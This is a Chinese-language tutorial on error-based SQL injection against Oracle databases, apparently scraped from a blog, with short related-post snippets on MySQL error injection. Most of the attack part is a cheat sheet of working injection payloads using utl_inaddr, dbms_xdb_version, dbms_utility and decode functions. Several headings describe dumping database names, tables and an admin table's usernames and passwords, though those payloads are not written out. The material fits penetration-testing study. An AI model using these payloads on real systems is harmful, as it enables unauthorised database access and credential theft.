在oracle注入時候出現了資料庫報錯資訊,可以優先選擇報錯注入,使用報錯的方式將查詢資料的結果帶出到錯誤頁面中。
使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句],使用比較運算子,這樣的方式進行報錯注入(mysql僅使用函式報錯即可),類似mssql報錯注入的方式。
判斷注入
utl_inaddr.get_host_name()進行報錯注入
and 1=utl_inaddr.get_host_name((select user from dual))--
and 1=utl_inaddr.get_host_name((select user from dual))--
utl_inaddr.get_host_address 本意是獲取ip 位址,但是如果傳遞引數無法得到解析就會返回乙個oracle 錯誤並顯示傳遞的引數。
我們傳遞的是乙個sql 語句所以返回的就是語句執行的結果。oracle 在啟動之後,把一些系統變數都放置到一些特定的檢視當中,可以利用這些檢視獲得想要的東西。通常非常重要的資訊有:
ctxsys.drithsx.sn()進行報錯注入
xmltype()進行報錯注入
dbms_xdb_version.checkin()進行報錯注入
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
查詢版本資訊
bms_xdb_version.makeversioned()進報錯注入
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
dbms_xdb_version.uncheckout()進行報錯注入
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
dbms_utility.sqlid_to_sqlhash()進行報錯注入
and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
decode進行報錯注入
這種方式更偏向布林型注入,因為這種方式並不會通過報錯把查詢結果回顯回來,僅是用來作為頁面的表現不同的判斷方法。
and 1=(select decode(substr(user,1,1),'s',(1/0),0) from dual) --
oracle 資料庫的注入不同於其他資料庫,如access 和mysql,它包含了幾個系統表,這幾個系統表裡儲存了系統資料庫的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系統表就儲存了使用者的所有的表、列名,其中table_name 表示的是系統裡的表名,column_name 裡的是系統裡存在的列名
爆庫 第一行記錄
爆表 第一行第乙個記錄
第二個記錄
報錯admin表的 使用者和密碼
其他報錯函式大同小異。
收藏
SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...
SQL注入 報錯注入
sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...
SQL注入 報錯注入
利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...